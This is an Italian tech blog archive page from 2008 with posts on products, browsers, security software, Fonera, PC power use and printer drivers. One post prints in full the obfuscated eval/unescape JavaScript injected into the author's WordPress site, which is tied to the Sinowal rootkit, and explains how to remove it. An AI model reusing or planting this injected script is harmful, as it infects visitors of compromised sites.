Archivio per la categoria 'Informatica' pagina 9 di 29



Giu
11

I migliori 100 prodotti tecnologici del 2008

Ecco la lista dei 100 migliori prodotti tecnologici del 2008 secondo la popolare rivista Pc Word:

  1. Hulu – Recensione
  2. Apple iPhone – Recensione
  3. Facebook – Sito web
  4. Microsoft Windows XP – Recensione
  5. Lenovo ThinkPad X300 – Recensione
  6. Flock – Recensione
  7. Eye-Fi – Recensione
  8. Casio Exilim Pro EX-F1 – Video recensione
  9. Harmonix Rock Band – Video recensione
  10. Wikipedia – Sito web
  11. Netflix – Sito web
  12. Microsoft Xbox Live – Sito web
  13. Apple iPod Touch – Recensione
  14. Craigslist – Sito web
  15. Scrabulous – Sito web Continua la lettura di ‘I migliori 100 prodotti tecnologici del 2008’
Giu
04

I migliori 5 web browsers che non siano Internet Explorer, Firefox o Safari

BrowsersChi possiede un PC, molto probabilmente starà  visitando questo blog utilizzando Internet Explorer o, nel migliore dei casi, Mozilla Firefox. Chi, invece, possiede un Mac starete probabilmente starà  utilizzando Safari o, a limite, Firefox. Questi tre browser, insieme, si aggiudicano circa il 97% del mercato, ma non sono gli unici.

Ecco i 5 browser meno conosciuti di quelli citati precedentemente, che vi consiglio di provare:

5- Sunrise (Mac)

Sunrise

Sunrise è un browser molto veloce con una interfaccia semplice e pulita; è stato pensato per gli sviluppatori e per gli utenti che preferiscono lo stile minimalista . Sunrise è in grado di ridimensionare la finestra del sito che state visitando alla risoluzione desiderata con un semplice click del mouse. Inoltre, è possibile selezionare l’editor con cui aprire i sorgenti delle pagine su cui stiamo lavorando e, soprattutto, è possibile salvare la pagina in formato PDF, magari per mostrare le bozze direttamente ai nostri clienti. Continua la lettura di ‘I migliori 5 web browsers che non siano Internet Explorer, Firefox o Safari’

Mag
28

Lo stereotipo del Mac user

AppleQualche tempo fa, stavo leggendo un interessantissimo articolo su The Apple Lounge, che cercava un po’ di identificare quello che è un po’ lo stereotipo del Mac user grazie allo studio di Mindset Media, un’azienda che si occupa di pubblicità  online per grandi brand come Nike, Apple, Coca-Cola.

Lo studio, basato su un’indagine condotta in un campione di 7500 intervistati, ha rivelato che:

le persone che sono molto aperte o, nel gergo di Mindset Media, “Openness 5’s“, hanno il 60 per cento in più di probabilità  delle persone nella media di avere acquistato un Mac. Questi acquirenti sono anche più liberali, meno modesti e più certi della propria superiorità  rispetto alla popolazione in generale.

Ma cos’è “l’Openness 5’s” a cui fa riferimento Mindset Media?

Mindset Media definisce “Openness 5’s” le persone che cercano nuove, varie e ricche esperienze, credendo che la fantasia e la curiosità  intellettuale contribuiscano a una vita ben vissuta.

Queste ultime parole ricordano un po’ il concetto espresso da Steve Jobs nel discorso tenuto il 12 giugno 2005 nell’università  di Standford, dove lui stesso aveva cominciato la sua carriera studentesca (poi abbandonata in favore di una, possiamo dirlo ora, sfavillante carriera imprenditoriale): “Stay Hungry. Stay Foolish.” ovvero “Siate affamati, curiosi (di conoscenza), siate folli“.

Io mi riconosco perfettamente nello stereotipo identificato da Mindset Media. E voi, utenti Mac all’ascolto, vi riconoscete in questo profilo?!

Fonte: The Apple Lounge

Mag
14

5 importanti programmi per la sicurezza di Windows, Linux e Mac

A prescindere da quale sistema operativo utilizzate, non si può non pensare alla sicurezza: in questo articolo vedremo 5 software per Windows, Linux e Mac per incrementare la vostra sicurezza.

Windows

Firewall

Quasi tutti hanno dei dati sensibili sui loro dischi rigidi che preferiscono tenere fuori dagli occhi indiscreti. Purtroppo, il Firewall di Windows XP, non è sufficiente a garantire ciò, poichè non è in grado di bloccare le connessioni in uscita, quindi vi consiglio di utilizzare, come alternativa ad esso, Comodo firewall. Con Windows Vista, invece, Microsoft ha affrontato (e risolto) questo problema, quindi non vi è alcuna necessità  di utilizzare un firewall di terze parti.

Indipendentemente dal fatto che siete in XP o Vista, comunque, un router è essenziale: un firewall hardware è molto più sicuro di uno software.

Raccomandazioni

Anti-virus

Forse il software più importante da avere su un computer (almeno se avete Windows come sistema operativo). Se non volete spendere soldini per software commerciali, vi consiglio uno di questi tre antivirus: AntiVir, Avast o AVG (ricordate comunque che, in nessun caso, dovrete installare più di un antivirus sul vostro computer).

Per quanto riguarda i software commerciali la scelta si riduce a: ESET NOD32 o Kaspersky Anti-Virus. Kaspersky Anti-Virus è leggermente superiore grazie ai tassi di rilevamento basati su file di firma, mentre NOD32 fornisce eccellenti euristiche (chiamate “ThreatSense” di ESET) per scoprire nuovi virus in circolazione.

Raccomandazioni

Anti-spyware and Anti-adware

Grazie all’acquisizione da parte di Microsoft della GIANT Company Software nel dicembre 2004, ora Windows ha un efficace software anti-spyware (disponibile per Windows XP e integrato con Windows Vista): Windows Defender. Potete utilizzare anche Lavasoft Ad-Aware (freeware), ma vi consiglio di utilizzarlo insieme a Windows Defender e non come alternativa. Se invece avete dei soldini da spendere, non vi è alcun dubbio che la migliore opzione commerciale è Webroot Spy Sweeper.

Raccomandazioni

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Mag
07

Code injection su WordPress: guida alla rimozione del codice maligno

WordpressCi risiamo: mi era già  successo una settimana fa e mi è successo di nuovo nelle ultime ore.. Pensavo fosse un baco di WordPress 2.5, così ho aggiornato subito alla versione 2.5.1, sperando fosse stato risolto e, invece, a quanto sembra, il problema è rimasto.

Di cosa parlo?! Di questo codice maligno (all’apparenza incomprensibile, poichè criptato in esadecimale) javascript che mi è stato iniettato nel blog (a me, così come a tanti altri bloggers che utilizzano WordPress come piattaforma):

[quickcode:noclick]
<script language=”javascript”>$=”%63b%3d%22e(d%2573);%2573t%253dtm%2570%253d%2527%2527;for(i%253d0;i%253cds%252e%256ce%256eg%25%22;st%3d%22%2573t%253d%2522$%253d%2573%2574;%2564c%2573%2528d%2561%252bd%2562%252bd%2563+%2564%2564%252b%2564e%252c%2531%2530)%253b%2564w%2528s%2574)%253bs%2574%253d%2524%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;cc%3d%2274%2568;i+%252b%2529{t%256dp%253dd%2573%252es%256c%2569ce%2528i,i%252b1%2529;st%253d%22;ce%3d%22ar%2543od%2565%2541%2574%25280)^%2528%25270%25780%2530%2527+es%2529))%253b%257d}%22;cz%3d%22%2566unc%2574ion%2520cz%2528cz)%257bre%2574ur%256e %2563a+c%2562+%2563c+%2563d+c%2565+%2563z;}%253b%22;dz%3d%22%2566un%2563t%2569on%2520dw(%2574){c%2561%253d%2527%252564%25256f%252563ume%25256et%252e%2577%252572i%2574%252565(%252522%2527;ce%253d%2527%252522)%2527;c%2562%253d%2527%25253csc%252572%2569%2570%252574 l%252561%256eg%252575a%2525%2536%2537%2565%25253%2564%25255c%25252%2532ja%2576a%2573cr%2569%252570t%25255c%2525%25322%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fsc%2572%2569p%252574%25253e%2527;eva%256c(u%256ees%2563ap%2565(t%2529)%257d%253b%22;op%3d%22%2524%253d%2522dw%2528d%2563s(%2563u%252c1%2534));%2522;%22;ca%3d%22%2566%2575%256e%2563t%2569o%256e%2520dcs%2528d%2573,%2565s%2529{d%2573%253dunesca%2570%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|“d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22s%2574+%2553tri%256e%2567.f%2572%256fmC%2568%2561rCo%2564%2565(%2528t%256dp%252ec%2568%22;%69f%20(d%6fcum%65nt%2e%63oo%6b%69%65.i%6edex%4f%66(%27%76%62ull%65tin%5fmu%6ctiq%75%6f%74e%3d%27)%3d%3d-1){sc%28%27vbu%6clet%69n%5fm%75l%74iqu%6ft%65%3d%27,2,7);%65va%6c(un%65sc%61pe%28d%7a%2bc%7a+op%2b%73t)%2b%27dw(%64z%2bcz%28$+%73t%29)%3b%27)}e%6cse{%24%3d%27%27};f%75nct%69on %73c%28cnm%2cv,e%64){%76a%72 ex%64%3dnew %44ate%28);%65xd.%73%65%74Da%74%65(ex%64.g%65tD%61%74e()%2b%65%64);%64%6fcu%6dent%2eco%6fkie%3dcnm%2b %27%3d%27 +esca%70%65(v%29+%27;ex%70i%72es%3d%27%2bex%64.%74o%47M%54%53t%72in%67%28);%7d;”;eval(unescape($));document.write($);</ script></body>
[/quickcode]

Per chi si trovasse nella mia stessa situazione, non disperate, il problema è di facile risoluzione: basta editare il file index.php (presente nella root dell’installazione di WordPress) e rimuovere brutalmente il codice indicato in precedenza.

Fatto ciò, non ci resta che sperare che lo staff di WordPress tappi questa grave falla al più presto!

Ah, dimenticavo, mi scuso con tutti voi per gli eventuali disagi provocati dal codice maligno.

AGGIORNAMENTO DELLE 22.50 DEL 07/05/2008

Bene.. ci sto capendo qualcosa di più su questa situazione alquanto strana. Anzitutto l’iniezione di codice maligno sembra non derivare da un baco di WordPress, ma di una vulnerabilità  dei server Aruba. Per approfondire l’argomento date un occhio a questo sito dove è indicato anche come eliminare il MBR rootkit/trojan Sinowal (questo è il nome del malware), nel caso in cui qualcuno di voi fosse stato infettato (spero non dal mio sito!).

Ah, di questa cosa ne ha parlato anche Napolux.

Mag
02

Think different

Sì, lo so che questo video è vecchiotto, ma è davvero troppo bello ed emozionante, non trovate?!

Apr
30

Le novità  della Fonera 2.0

La Fonera 2.0, annunciata ormai parecchio tempo fa, è quasi pronta ed è stata pensata per essere l’evoluzione della famosissima Fonera di Fon. Essa racchiuderà  diverse novità : sarà  una vera e propria open platform che si potrà  configurare, personalizzare e programmare a proprio piacimento. Non saranno quindi necessari tutti gli espedienti per poter accedere al “cuore del sistema” per aggiungervi funzionalità : ora tutto è aperto al talento di chiunque voglia programmare le proprie applicazioni, aperto alla fantasia di chi vuol personalizzare il router secondo gli usi e le esigenze più convenienti.

Appena più grande della sorella minore, la Fonera 2.0 sarà  presto in grado di gestire il collegamento con qualsiasi dispositivo esterno USB: ad esempio, collegando un hard disk, sarà  possibile condividerne i contenuti con altri utenti, oppure salvare i file scaricati da un’applicazione BitTorrent sviluppata per la Fonera, senza la necessità  di lasciare il PC acceso.

Ma le applicazioni possono essere tante altre: condividere una stampante in rete collegata attraverso la porta USB del router, controllare, via webcam, un qualsiasi ambiente o il sonno tranquillo del bimbo in camera, caricare direttamente dalla fotocamera le foto su Flickr o i video su Youtube, allestire il centralino casalingo per gestire le telefonate VoIP (anche se, qualche pazzo come me, aveva già  installato Asterisk su una Fonera 1.0), ecc.ecc.. L’unico limite? Probabilmente solo la fantasia!

Non è ancora tutto. La nuova Fonera è l’espressione di un progetto più grande e ambizioso che si estende oltre l’architettura open del router: nasce la Fonosfera, la più grande comunità  di sviluppatori di applicazioni per i prodotti FON: un’opportunità  straordinaria per le tante piccole comunità  di sviluppatori, disseminate ovunque nel mondo, che potranno così condividere in modo più interattivo ed efficace le proprie idee. La Fonosfera costituirà  uno spazio aperto per tutti, dove trovare gli strumenti necessari per lo sviluppo e la realizzazione dei propri progetti, in coerenza con il principio di condivisione che ha sempre caratterizzato i Foneros di tutto il mondo.

Fonera 2.0 Fonera 2.0

Dopo questa piccola panoramica, non ci resta che attendere che la Fonera 2.0 sia disponibile nello shop Fon per testare con mano tutte le novità  introdotte!

Fonte articolo: Punto Informatico
Fonte immagini: Mif´s Blog

Apr
23

Come calcolare il consumo (annuale) di energia elettrica di un computer

Nei commenti riguardanti l’articolo relativo il mio nuovo mini-server casalingo, si è sollevata una bella discussione sul consumo di energia elettrica dei computer e di quanto possano incidere sulla bolletta, specie per chi, come me, ha 3 computer in casa, di cui uno acceso 24 ore su 24.

Anzitutto una piccola prefazione: la potenza erogata (Watt = Volt · Ampere) dall’alimentatore del computer ai componenti è pari all’energia assorbita al secondo (Joule · secondo-1) da ciascun componente. Per esempio, nel caso del processore Pentium 4 Prescott, tale valore si attesta sui 100 Watt, ma anche alcune schede video 3D richiedono molti watt rispetto ad altri componenti. Gli alimentatori, di conseguenza, al crescere delle prestazioni dei processori e delle periferiche collegate, aumentano l’erogazione dei watt. Per un PC che non necessita di particolari prestazioni, soprattutto audio e video 3D, è sufficiente un alimentatore da 250/300 Watt.

I consumi si calcolano moltiplicando i kilowatt assorbiti (kW) per le ore di utilizzo, ottenendo il kilowattora (kWh). Quindi, se in media la potenza erogata per un PC acceso è di 200 W, ed il suo utilizzo giornaliero è di 7 ore, si ha un consumo di 1,4 kWh. Supponendo che il costo dell’energia elettrica sia 0,2 €/kWh si ha: 200W · 7h · 0,16 €/kWh = 0,23 € circa (ovviamente nel conteggio, non è stato calcolato il consumo del monitor).

Come calcolare il costo annuale

Per fare un calcolo più o meno preciso del costo annuale di energia elettrica del vostro computer vi consiglio due siti a secondo della tipologia di pc che avete:

  • mini-itx, vi consiglio questo sito, dove vi sono indicati i comsumi annuali di tutte le principali schede mini-itx;
  • PC “classico”, vi consiglio quest’altro sito, davvero ben fatto che permette di specificare tutte le periferiche (come monitor, stampanti, modem, ecc.ecc.) al fine di ottenere un conteggio molto preciso.

Sorpresi dei costi?! Io sì (in negativo).. e sono sempre più convinto della mia scelta di un server mini-itx che mi costa poco più di 15 € annuali tenendolo acceso 24 ore su 24, 7 giorni su 7!

Apr
09

Come far funzionare una stampante Samsung ML-1610 (e non solo) su Mac OS X utilizzando SpliX

Uno dei primi problemi che ho dovuto affrontare quando, qualche mese fa, ho acquistato l’iMac è stato configurare la mia stampante Samsung ML-1610 affinchè potesse stampanre anche su Mac OS X (visto che Samsung si è stranamente dimenticata di rilasciare i driver per questo modello).

Sì, lo so bene che il problema si può risolvere utilizzando i driver per la ML-2010 o quelli della ML-1710, ma a me non piacciono le cose “rimediate” quindi, in questo articolo, vedremo come utilizzare i driver open source SpliX per raggiungere il nostro scopo.

Anzitutto è necessario scaricare il codice sorgente dei driver SpliX da qui, dopodichè aprite il Terminale, posizionatevi nella directory in cui avete scaricato il pacchetto e decomprimetelo con il classico:

$ tar xjvf splix-1.1.1.tar.bz2

ora entrate nella directory appena creata e compilate i driver con i comandi:

$ cd splix-1.1.1/
$ make

e attendete inchè la compilazione non terminerà  (con successo).

Ora installate i driver con i comandi:

$ cd ppd && sudo cp ml1610.ppd /usr/share/cups/model/
$ cd .. && cd src && sudo cp rastertospl2 /usr/libexec/cups/filter/

Ora aprite le Preferenze di Sistema, selezionate Stampa e fax, aggiungete una stampante e, alla voce, Stampa con scegliete Samsung ML-1610, 1.1.0 et voilà , la vostra stampante sarà  perfettamente funzionante :-)

Ah, questo “trucchetto” funziona (o, in alcuni casi, dovrebbe funzionare) anche con le seguenti stampanti:

  • Dell 1100, 1110
  • Samsung CLP-200, CLP-300, CLP-500, CLP-510, CLP-600, CLP-610, CLX-216X, CLX-2170, CLX-3160, ML-1510, ML-1520, ML-1610, ML-1630, ML-1710, ML-1740, ML-1750, ML-2010, ML-2150, ML-2250, ML-2510, ML-2550, ML-2571, ML-3050, ML-3560
  • Xerox Phaser 3115, Phaser 3116, Phaser 3117, Phaser 3120, Phaser 3121, Phaser 3122, Phaser 3130, Phaser 3150, Phaser 3420, Phaser 3425, Phaser 5500, Phaser 6100, Phaser 6110

basta semplicemente sostituire la stringa ml1610.ppd con il modello della vostra stampante.

P.S. per compilare i driver è necessario che abbiate installato XCode o, comunque, gli strumenti di sviluppo Apple (quindi gcc, librerie, ecc.ecc.). Nel caso non abbiate tali strumenti e/o non abbiate tempo/voglia/capacità  di compilare i driver, clickando qui potrete scaricare direttamente il pkg (basta un doppio click per installarlo) compilato da me su iMac intel.




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